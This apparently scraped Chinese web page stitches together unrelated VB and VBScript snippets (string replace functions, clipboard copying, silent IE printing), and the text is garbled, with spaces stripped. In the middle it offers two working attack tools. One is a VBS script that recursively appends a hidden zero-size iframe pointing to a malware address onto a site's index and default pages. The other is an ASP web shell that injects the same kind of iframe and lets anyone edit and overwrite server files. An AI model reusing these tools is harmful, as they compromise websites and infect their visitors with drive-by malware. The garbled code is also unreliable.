浏览器脚本错误代码0电脑游戏网站
这可以通过创建一个带有Private类和Public类(设定Instancing=MultiUse)的ActiveXEXE工程看到，在2个类模块中添加下面的代码：
PublicSubPublicSub(ByValvalueAsLong)
'
EndSub
PublicFunctionPublicFunction(ByValvalueAsLong)AsLong
'
EndFunction
FriendSubFriendSub(ByValvalueAsLong)
'
EndSub
FriendFunctionFriendFunction(ByValvalueAsLong)AsLong
'
EndFunction
然后，在表单模块中创建一个循环，执行每个例程许多次Sub CopyString(s) Set forms=WScript.CreateObject("forms.form.1") Set textbox=forms.Controls.Add("forms.textbox.1").Object With textbox .multiline=True .text=s .selstart=0 .sellength=Len(.text) .copy End With End Sub CopyString "脚本之家 " msgbox "ok"
虽然官方的FILE插件提供了一些基本功能，但功能不多方法一：PublicFunctionFastReplace(SSrch$,SFind$,SRepl$)AsStringDimSrc()AsByte,Dst()AsByte,R()AsByte,F()AsByteDimLenF&,LenR&,LenDst&,i&,j&,OutPos&ConstChunkSize&=4096IfSSrch=""OrSFind=""ThenExitFunctionSrc=SSrch:F=SFind:R=SReplLenF=UBound(F):LenR=UBound(R)LenDst=ChunkSize:ReDimDst(0ToLenDst-1)Fori=0ToUBound(Src)Step2Forj=0ToLenFStep2IfSrc(i j)<>F(j)ThenExitForNextjIfj>LenFThen'FoundForj=0ToLenRStep2IfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=R(j):OutPos=OutPos 2Nextji=i LenF-1ElseIfOutPos>=LenDstThenLenDst=LenDst ChunkSizeReDimPreserveDst(0ToLenDst)EndIfDst(OutPos)=Src(i):OutPos=OutPos 2EndIfNextiReDimPreserveDst(0ToOutPos-2):SSrch=DstFastReplace=SSrch$EndFunction方法二：'SearchLineisinput,SearchForiswhattosearchfor,ReplaceWithisthereplacementFunctionsReplace(SearchLineAsString,SearchForAsString,ReplaceWithAsString)DimvSearchLineAsString,foundAsIntegerfound=InStr(SearchLine,SearchFor):vSearchLine=SearchLineIffound<>0ThenvSearchLine=""Iffound>1ThenvSearchLine=Left(SearchLine,found-1)vSearchLine=vSearchLine ReplaceWithIffound Len(SearchFor)-1<Len(SearchLine)Then_vSearchLine=vSearchLine Right$(SearchLine,Len(SearchLine)-found-Len(SearchFor) 1)EndIfsReplace=vSearchLineEndFunction->
scan.vbe cscriptscan.vbeweb目录 程序代码： '版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vbCrLf '马的地址 ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&""&chr(…t;</IFrAME>" '要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开 MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx" '以"|"为分隔符拆分成数组 MyArray=Split(MyString,"|",-1,1) web=WScript.Arguments(0) '如果web为空退出脚本 ifweb=""then Wscript.echo(br) window.Close endif Wscript.echo(br)&"马的地址："&ma&vbCrLf&vbCrLf '创建对象 Setfso=createObject("Scripting.FileSystemObject") '开始扫描挂马 scan(web) 'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾 subscan(filesder) setfilesder=fso.getfolder(filesder) '得到当前目录的所有文件集合 setfiles=filesder.files '获取文件名 foreachfextinfiles Setfile1=fso.GetFile(fext) filesext=file1.Name '把文件名转换成小写字母 ext=lcase(filesext) ForEachindexinMyArray '判断文件是不是我们在MyString里限定的文件，如果是就写马 ifext=lcase(index)then Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作 ts.WriteLine(ma) ts.Close echo="" echo=fext&"………….ok" Wscript.echo(echo) endif next next setsubfolders=filesder.subfolders foreachsubfolderinsubfolders'搜索其他目录,递归调用 scan(subfolder) next endsub FSO挂马.asp 传进服务器以后直接输入需要挂马的路径就可以直接挂了 程序代码： <%Server.ScriptTimeout=10000 Response.Buffer=False %> <html> <head> <title></title> <****http-equiv="Content-Type"content="text/html;charset=gb2312"> </head> <body> <% ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") Ifex<>""ANDpth<>""Then selectCaseex Case"edit" CALLfile_show(pth) Case"save" CALLfile_save(pth) Endselect Else %> <formaction="<%=ASP_SELF%>"method="POST"> FOLDER(ABSOLUTEPATH): <inputtype="text"name="fd"size="40"> <inputtype="submit"value="SUBMIT"> </form> <%EndIf%> <% FunctionIsPattern(patt,str) SetregEx=NewRegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) SetregEx=Nothing IfretVal=TrueThen IsPattern=True Else IsPattern=False EndIf EndFunction IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then schs Else Ifs<>""ThenResponse.Write"InvalidAgrument!" EndIf Subsch(s) oNeRrOrrEsUmEnExT Setfs=Server.createObject("Scripting.FileSystemObject") Setfd=fs.GetFolder(s) Setfi=fd.Files Setsf=fd.SubFolders ForEachfinfi rtn=f.Path step_allrtn Next Ifsf.Count<>0Then ForEachlInsf schl Next EndIf EndSub Substep_all(agr) retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr) IfretValThen step1agr step2agr Else ExitSub EndIf EndSub %> <%Substep1(str1)%> <ahref=""target="_blank"><%=str1%></a><br> <%EndSub%> <% Substep2(str2) addcode="<iframesrc=(修改为你的马的地址，不要加""不然会出错)width=0height=0frameborder=0></iframe>" Setfs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) IfisExistThen Setf=fs.GetFile(str2) Setf_addcode=f.OpenAsTextStream(8,-2) f_addcode.Writeaddcode f_addcode.Close Setf=Nothing EndIf Setfs=Nothing EndSub %> <% Subfile_show(fname) Setfs1=Server.createObject("Scripting.FileSystemObject") isExist=fs1.FileExists(fname) IfisExistThen Setfcnt=fs1.OpenTextFile(fname) cnt=fcnt.ReadAll fcnt.Close Setfs1=Nothing%> FILE:<%=fname%> <formaction="<%=ASP_SELF%>"method="POST"> <textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea> <inputtype="hidden"name="pth"value="<%=fname%>"> <inputtype="hidden"name="ex"value="save"> <inputtype="submit"value="SAVE"> </form> <%Else%> <p>THEFILEISNOTEXITORHAVEdeleteD.</p> <% EndIf EndSub %> <% Subfile_save(fname) Setfs2=Server.createObject("Scripting.FileSystemObject") Setnewf=fs2.createTextFile(fname,True) newf.Writenewcnt newf.Close Setfs2=Nothing Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>" EndSub %> </body> </html> 下面的函数利用递归原理获得字符串的翻转字符串Functionreversestring(revstrAsString)AsString'revstr:要翻转的字符串'返回值:翻转后的字符串DimdoreverseAsLongreversestring=""Fordoreverse=Len(revstr)To1Step-1reversestring=reversestring&Mid$(revstr,doreverse,1)NextEndFunction->
VBS代码在本地是通过WindowsScriptHost(WSH)解释执行的当MsgBox将信息传递给用户时，传递信息的窗口是嵌在运行程序的窗口中；因此，在CAI程序设计中，这个函数非常有用，如果能把它与数据库的应用结合起来，其作用就更大
首先在HTML 页面中加入WebBrowser 的Object: <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" height=0 id=wb name=wb width=0></OBJECT> 之后，使用如下代码进行打印： <script language="VBScript"> sub printvb() wb.execwb 6,2,3 End Sub </script> 关键代码 wb.execwb 6,2,3 可以在 VBScript 方式下实际无需提示的直接打印，但奇怪的是用同样的参数，在 Javascript 方式下IE 依然会弹出打印对话窗口，也许是因为VBScript 是Microsoft 开发的专用于 IE 的吧，而 Javascript 毕竟是外人：） 另找到一个较全面的例子，如下: 6=OLECMDID_PRINT 2=OLECMDEXECOPT_DONTPROMPTUSER, 2+1=PRINT_WAITFORCOMPLETION + PRINT_DONTBOTHERUSER WB.ExecWB 6, 2, 3, 0 <HTML> <HEAD> <OBJECT ID="WB" WIDTH="0" HEIGHT="0" CLASSID="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT> <SCRIPT LANGUAGE="VBScript"> Sub window_onunload On Error Resume Next Set WB=nothing End Sub Sub vbPrintPage ( x , y , z ) OLECMDID_PRINT=6 OLECMDEXECOPT_DODEFAULT=0 OLECMDEXECOPT_PROMPTUSER=1 OLECMDEXECOPT_DONTPROMPTUSER=2 On Error Resume Next WB.ExecWB x, y, z, 0 End Sub </SCRIPT> </HEAD> <BODY> <TABLE BORDER=1><TR><TD> <INPUT TYPE="BUTTON" VALUE="Print" ONCLICK="vbPrintPage 6, 2, 3"><BR> <INPUT TYPE="BUTTON" VALUE="Preview" ONCLICK="vbPrintPage 7, 1, 0"><BR> <INPUT TYPE="BUTTON" VALUE="Page Setup" ONCLICK="vbPrintPage 8, 1, 0"><BR> </TD> <TD bgcolor="green">Print Test </TD></TR></TABLE> </BODY> </HTML>奶块 以上篇文章为例，你的第一应用程序中有如下的对象：窗体（Form)，标签（Labels)，文本框（Textboxes)。